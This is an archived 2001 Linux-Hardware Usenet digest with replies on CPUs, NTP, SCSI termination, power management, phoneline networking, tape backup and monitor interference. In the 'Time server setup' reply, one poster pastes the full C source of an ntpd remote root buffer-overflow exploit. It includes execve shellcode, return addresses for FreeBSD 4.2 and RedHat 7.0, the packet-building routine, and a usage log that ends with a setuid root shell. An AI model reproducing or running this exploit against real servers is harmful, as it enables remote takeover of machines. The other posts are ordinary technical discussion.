Linux-Hardware Digest #574, Volume #14 Thu, 5 Apr 01 21:13:07 EDT
Contents:
Re: Linux on Intel Or Celeron? what is the best choice? (Hal Burgiss)
Re: Time server setup ("f00")
Re: Please look at this SCSI error... ("Ron Reaugh")
Re: VESA energy saver with a new 2.4.0 kernel? (Bora Ugurlu)
Re: Looking for Phoneline networking help (Frederique Vernhes)
Re: Recommended Tape Drive & Software (Christopher Morton)
Re: Switchboxes for keyboard, mice, video? (Keith R. Williams)
Re: Switchboxes for keyboard, mice, video? (Keith R. Williams)
----------------------------------------------------------------------------
From: [EMAIL PROTECTED] (Hal Burgiss)
Crossposted-To: comp.os.linux
Subject: Re: Linux on Intel Or Celeron? what is the best choice?
Reply-To: Hal Burgiss <[EMAIL PROTECTED]>
Date: 5 Apr 2001 18:10:18 -0400
On Thu, 05 Apr 2001 21:45:13 GMT, Med HAM <[EMAIL PROTECTED]> wrote:
>Hi folks,
>My Company are willing to buy some machines to install Linux on
>them. My question is which machine is best for Linux to run on :
>Intel or Celeron? And if possible , can you tell me why? (ie: the
>adventages and drawbacks of each type of processor )
>As always any help could be so appreciated.
Either works fine. The main advantage on Celeron is they are cheaper ;)
--
Hal B
[EMAIL PROTECTED]
[EMAIL PROTECTED]
[EMAIL PROTECTED]
Spamtrap: [EMAIL PROTECTED] and [EMAIL PROTECTED]
--
------------------------------
From: "f00" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.setup
Subject: Re: Time server setup
Date: Thu, 05 Apr 2001 18:43:48 -0400
In article <[EMAIL PROTECTED]>, "Kerry Cox" <[EMAIL PROTECTED]>
wrote:
> a ntpd or ntpdate time server running Red hat Linux for in-house use.
> I'm wondering what hardware module I need to purchase to run under Linux
> that could then connect to a GPS satellite and retrieve the exact time.
Be careful with ntp. There is a newly discovered hole in it that may be
rootable:
/* ntpd remote root exploit / babcia padlina ltd. <[EMAIL PROTECTED]> */
/*
* Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
* to remote buffer overflow attack. It occurs when building response for
* a query with large readvar argument. In almost all cases, ntpd is running
* with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
*
* Althought it's a normal buffer overflow, exploiting it is much harder.
* Destination buffer is accidentally damaged, when attack is performed, so
* shellcode can't be larger than approx. 70 bytes. This proof of concept code
* uses small execve() shellcode to run /tmp/sh binary. Full remote attack
* is possible.
*
* NTP is stateless UDP based protocol, so all malicious queries can be
* spoofed.
*
* Example of use on generic RedHat 7.0 box:
*
* [venglin@cipsko venglin]$ cat dupa.c
* main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
* [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
* [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
* [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
* ntpdx v1.0 by [EMAIL PROTECTED]
*
* Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
*
* RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
* [1] <- evil query (pkt = 512 | shell = 45)
* [2] <- null query (pkt = 12)
* Done.
* /tmp/sh was spawned.
* [venglin@cipsko venglin]$ ls -al /bin/bash
* -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#define NOP 0x90
#define ADDRS 8
#define PKTSIZ 512
static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
/* generic execve() shellcodes */
char lin_execve[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sh";
char bsd_execve[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
struct platforms
{
char *os;
char *version;
char *code;
long ret;
int align;
int shalign;
int port;
};
/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
* *after* RET address. This values will vary from platform to platform.
*/
struct platforms targ[] =
{
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff8bc, 200, 220, 0 },
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff540, 200, 220, 0 },
{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
0xbffff777, 240, 160, 0 },
{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
/* tcpdump-based reverse engineering :)) */
char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
0x74, 0x75, 0x6d, 0x3d };
char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 };
char buf[PKTSIZ], *p;
long *ap;
int i;
int sockfd;
struct sockaddr_in sa;
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(123);
sa.sin_addr.s_addr = getip(host);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket");
return -1;
}
if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
memset(buf, NOP, PKTSIZ);
memcpy(buf, q2, sizeof(q2));
p = buf + align;
ap = (unsigned long *)p;
for(i=0;i<ADDRS/4;i++)
*ap++ = ret;
p = (char *)ap;
memcpy(buf+shalign, shellcode, strlen(shellcode));
if((write(sockfd, buf, PKTSIZ)) < 0)
{
perror("write");
close(sockfd);
return -1;
}
fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
strlen(shellcode));
fflush(stderr);
if ((write(sockfd, q3, sizeof(q3))) < 0)
{
perror("write");
close(sockfd);
return -1;
}
fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
fflush(stderr);
close(sockfd);
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, ofs, i;
long ret;
opterr = ofs = 0;
type = -1;
while ((ch = getopt(argc, argv, "t:o:")) != -1)
switch((char)ch)
{
case 't':
type = atoi(optarg);
break;
case 'o':
ofs = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "ntpdx v1.0 by [EMAIL PROTECTED]\n\n");
if (type < 0)
{
fprintf(stderr, "Please select platform:\n");
for (i=0;targ[i].os;i++)
{
fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
targ[i].os, targ[i].version, (void *)targ[i].ret);
}
exit(0);
}
fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
targ[type].os, targ[type].version);
ret = targ[type].ret;
ret += ofs;
if (argc != 1)
{
puts(usage);
exit(0);
}
fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
(void *)ret, targ[type].align, targ[type].shalign);
if (doquery(*argv, ret, targ[type].code, targ[type].align,
targ[type].shalign) < 0)
{
fprintf(stderr, "Failed.\n");
exit(1);
}
fprintf(stderr, "Done.\n");
if (!targ[type].port)
{
fprintf(stderr, "/tmp/sh was spawned.\n");
exit(0);
}
exit(0);
}
------------------------------
From: "Ron Reaugh" <[EMAIL PROTECTED]>
Crossposted-To: comp.periphs.scsi
Subject: Re: Please look at this SCSI error...
Date: Thu, 05 Apr 2001 22:51:25 GMT
Milton wrote in message ...
>On 05 Apr 2001 12:02:16 -0400, Dan Smith <[EMAIL PROTECTED]> wrote:
>
>>I have purchased a number of Seagate ST34371WC drives from a company
>>that took them out of their machine. They are all identical.
>>
>>These are the fastest drives in my system, so the error I am getting
>>is not reproducable with other drives. I get an error when I try to
>>write to them real fast. It says the SCSI bus is being reset for a
>>synchronous read or something and that the bus state is being changed
>>from "80 to 80". The error doesn't seem to be fatal. The application
>>using the drive at the time does not complain, nor does it fail to get
>>what it wants from the drive.
>I read you other post, that's not an error.
>
>What error are you getting when you say you are writing to them too
>fast?
>
>>The SCSI adapter is a Tekram DC390U2W (sym53c8xx). Does it sound like
>>the drives are screwing up, or is it the controller having trouble?
>>Is this error ok, or is it a sign of problems to come?
>
>You got the adapter and last drive on cable terminated?
The physical end of the cable is what must be terminated.
------------------------------
From: Bora Ugurlu <[EMAIL PROTECTED]>
Crossposted-To: sfnet.atk.linux
Subject: Re: VESA energy saver with a new 2.4.0 kernel?
Date: Fri, 6 Apr 2001 01:16:17 +0200
> Turns out that the whole thing works fine with kernel-2.4.2, though
> I cannot yet seem to get /sbin/poweroff to switch the power supply off.
> Suggestions, anyone?
That has nothing to do with DPMS, you gotta have APM turned on to do that
(or better, ACPI)
Bora Ugurlu
--
------------------------------
From: Frederique Vernhes <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.networking
Subject: Re: Looking for Phoneline networking help
Date: Thu, 05 Apr 2001 09:15:54 -0700
Well, my solution of using a bridge worked. I am using the netgear ethernet to
phoneline bridge PE201. So now my linux box has an ethernet interface (eth1)
plugged into the box, and the box plugs into the phonejack on the wall. My
Win98 pcs are on the phoneline network with the Linksys USB 10Mbps phoneline
networking devices. It all works in that I can see my linux machine from the
windows machine.
However we have not been able to set it all up so that we can use the linux
machine as our router/gateway. (I may give up my research and ask for help on
the networking newsgroup )
I believe that with a 2.4.x kernel, usb devices are likely to work, and
therefore USB adapters might work then.
Frederique.
Glenn Blinckmann wrote:
> Anybody have an idea if a Netgear PA101 would work? It's a USB version of
> the adapter. The PA301 is PCI.
>
> "Aaron" <[EMAIL PROTECTED]> wrote in message
> news:[EMAIL PROTECTED]...
> > I was told by someone at Broadcom that they have developed Linux
> > drivers. However they do not want to handle support to they have
> > provide the drivers to Linksys. The trouble is Linksys seems less
> > than willing to post them. I have had several unsuccessful email
> > request to them.
> >
> >
> > On Fri, 30 Mar 2001 01:09:14 -0800, Fr�d�rique Vernhes
> > <[EMAIL PROTECTED]> wrote:
> >
> > >Thanks for the info - I have had to correct my decision on using the
> Linksys bridge,
> > >as it only handles 1Mbps phoneline network. Instead, I will go with the
> netgear
> > >bridge. I have also decided to get a router/firewall so that all my boxes
> are behind
> > >a separate firewall + I hope to be able to add some wireless laptops in
> the end.
> > >
> > >Frederique.
> > >
> > >Aaron wrote:
> > >
> > >> As far as I am aware there is no support yet for cards based on the
> > >> PNA2.0 standard. These cards are based on the broadcom chip. No card
> > >> manufacturers have written Linux drivers for these cards.
> > >>
> > >> You can get an older card based on the older PNA 1meg standard. I
> > >> believe people have gotten the card from AMD to work and maybe the
> > >> Diamond card. PNA 2.0 cards are supposed to be backward compatible.
> > >> I keep hoping for drivers though (fingers crossed).
> > >>
> > >> On 15 Mar 2001 12:41:51 -0500, Michael Meissner <[EMAIL PROTECTED]>
> > >> wrote:
> > >>
> > >> >enkidu <[EMAIL PROTECTED]> writes:
> > >> >
> > >> >> Fr�d�rique Vernhes wrote:
> > >> >> >
> > >> >> > - I have 2 other Pentium running Win 98. These 2 pentiums
> > >> >> > are networked using our home phoneline. We used Linksys
> > >> >> > USB phoneline network adapters. Works great.
> > >> >> >
> > >> >> How do these work? Do they send IP packets over the phone
> > >> >> wires, probably using a different pair to the phones? How
> > >> >> do you connect them to the Internet?
> > >> >
> > >> >As I understand it, they use the same 2 pair as your phone lines, but
> use a
> > >> >frequency above or below human speech, so that it can coexist on the
> same wire.
> > >> >DSL is sent the same way, which is why you have all the restrictions
> about who
> > >> >can get DSL (ie, length from office, only travelling over copper wire,
> etc.).
> > >> >The encoding within the frequency should be the same as ethernet
> normally uses
> > >> >over UTP (unshielded twisted pair). Because of using part of the
> frequency
> > >> >spectrum, and the fact that voice grade wiring is cat3 (and even then
> in the
> > >> >real world you probably have a lot of sub-cat3 wiring) and not cat5
> spec (which
> > >> >100Mbs uses), is why you you only get 10Mbs max. Also going over a
> USB
> > >> >connection is another potential bottleneck to speed. Obviously, if
> you only
> > >> >use a home network for sharing an internet connection, than it won't
> matter
> > >> >that you can only get 10Mbs, unless you have a T3 connection to your
> house.
> >
------------------------------
From: Christopher Morton <[EMAIL PROTECTED]>
Subject: Re: Recommended Tape Drive & Software
Date: Thu, 05 Apr 2001 19:26:19 -0400
Reply-To: [EMAIL PROTECTED]
On 5 Apr 2001 14:38:20 GMT, Joshua Baker-LePain
<[EMAIL PROTECTED]> wrote:
>Chris Morton <[EMAIL PROTECTED]> wrote:
>> I'm setting up a relatively low volume RH 7 mailserver for someone. I'm
>> interested in users' recommendations regarding compatible tape backup
>> systems and backup software. Travan, DAT, DLT? Which would you recommend.
>> I don't want to spend a lot of money, but I want something which will
>> efficiently back up a moderate amount of data.
>
>What's a "moderate" amount of data? In general, I would recommend against
Periodic small email messages with updated customer info.
>Travan -- the tapes are expensive, the drives are slow, and they get very
>hot. For about $1200 you could get an Exabyte Eliant 820 -- 7GB native on
>cheap ($3-4) tapes.
You see the problem here is that's nearly six times the price of an
EIDE Travan drive. It's tough to sell the price difference,
especially when the customer's needs are so small.
>I use amanda here. There's some initial work setting it up, but once
>you've got it running, you can pretty much forget about it (besides
>changing tapes, of course). Beyond that, a cron job and dump is pretty
>fire-and-forget as well.
I'll check that out.
Thanks.
--
S&W delenda est.
------------------------------
From: [EMAIL PROTECTED] (Keith R. Williams)
Reply-To: [EMAIL PROTECTED]
Crossposted-To: comp.sys.ibm.pc.hardware.chips
Subject: Re: Switchboxes for keyboard, mice, video?
Date: Fri, 06 Apr 2001 00:19:00 GMT
On Thu, 5 Apr 2001 12:41:53, "John N. White"
<[EMAIL PROTECTED]> wrote:
> "George Macdonald" <fammacd=!SPAM^[EMAIL PROTECTED]> wrote in message
>news:[EMAIL PROTECTED]...
> > I've seen this "warble" (I'd say wobble) in one 2nd floor corner of our
> > office and it seems to vary with monitor brand and vertical sync frequency
> > - the video card used doesn't seem to matter. This is a small office
> > building and the main power cable is routed along the outside top of that
> > corner of the wall before it goes down to the ground and into the basement.
> > The effect is worst when the A/C is running - IOW large draw on the main
> > power - and you can see it worsen as an A/C compressor kicks in.
> >
> > I'm not sure if the effect is caused by the the pulsing field around the
> > main power cable affecting the monitor circuits directly or if it's carried
> > into the monitor through its power or signal cables but there doesn't seem
> > to be a cure and the "quality" of the monitor doesn't seem to make a
> > difference. I found that a 17" Mitsubishi monitor was badly affected but
> > in the same position a 17" Viewsonic show no effects at all... and yet
> > another 17" Viewsonic (same model) nearby is moderately disturbed.
> > Sometimes you just have to admit: "this is out of my control".:-)
>
> Such "warbles" are usually caused by time varying magnetic fields
> acting directly on the electron beam in the CRT. A good way to
> check for this is to change the orientation of the monitor. For
> instance, if the warble is a vertical movement, and the monitor
> is placed on it's side, then a magnetically induced warble would
> still be vertical to the outside world, meaning it would now be
> horizontal to the monitor's frame of reference.
Good point, though don't expect your colors to look good.
Monitors are designed/tested/setup for the orientation
they're intended to run in. The Aussies will have a
different monitor than the Astrians. The magnetic nature of
the earth complicates the manufacturer's life.
> Getting that much interference from a power line sometimes
> means there is a fault in the wiring. Normally, current
> flowing in the various wires in a power line exactly cancel,
> and stray magnetic fields drop to zero at distances large
> compared to the spacing between the wires. If there is
> (for instance) a ground loop, and a lot of current is flowing
> through that alternate ground path, then the power line will
> generate a magnetic field that drops off approximately linearly
> with distance (doubling the distance means half the field strength).
I hadn't thought of that, but you are right. The magnetic
interferrence from a bundle of balanced cables *should* drop
off as the inverse-cube. Unless there is a leaky
transformer nearby I'd find this "interesting". In any case
there is something wrong here. ...and it may not be the
monitor!
----
Keith
------------------------------
From: [EMAIL PROTECTED] (Keith R. Williams)
Reply-To: [EMAIL PROTECTED]
Crossposted-To: comp.sys.ibm.pc.hardware.chips
Subject: Re: Switchboxes for keyboard, mice, video?
Date: Fri, 06 Apr 2001 00:27:06 GMT
On Wed, 4 Apr 2001 12:38:03, chrisv <[EMAIL PROTECTED]>
wrote:
> "Peter T. Breuer" <[EMAIL PROTECTED]> wrote:
>
> >Time to go for lcd flatscreens.
>
> Yuck. None for me, thanks. They're fine if you only use the one
> native resolution, otherwise, not so good.
Wrong. They are perfect, as long as you have a good one.
I wish I could find another 1600x1200 flatscreen display
(and have the boss pay for it) to replace my P200. Who
cares if they won't do less then optimum resolution (though
with the right graphics controller they will, ok, not that
well) as long as they are *perfect* at their native
resolution.
Need glasses: get them. Font too small: make it bigger (or
get glasses). TFT displays are *good*, though expensive.
If I could find a 17" TFT display that would do 1600x1200
I'd be all over the boss to get one, assuming I could find a
way to make it the secondary display.
In short, you are *WRONG*. You may be cheap, but you are
still *wrong*. Flatscreens are the way to go.
----
Keith
------------------------------
** FOR YOUR REFERENCE **
The service address, to which questions about the list itself and requests
to be added to or deleted from it should be directed, is:
Internet: [EMAIL PROTECTED]
You can send mail to the entire list by posting to comp.os.linux.hardware.
Linux may be obtained via one of these FTP sites:
ftp.funet.fi pub/Linux
tsx-11.mit.edu pub/linux
sunsite.unc.edu pub/Linux
End of Linux-Hardware Digest
******************************
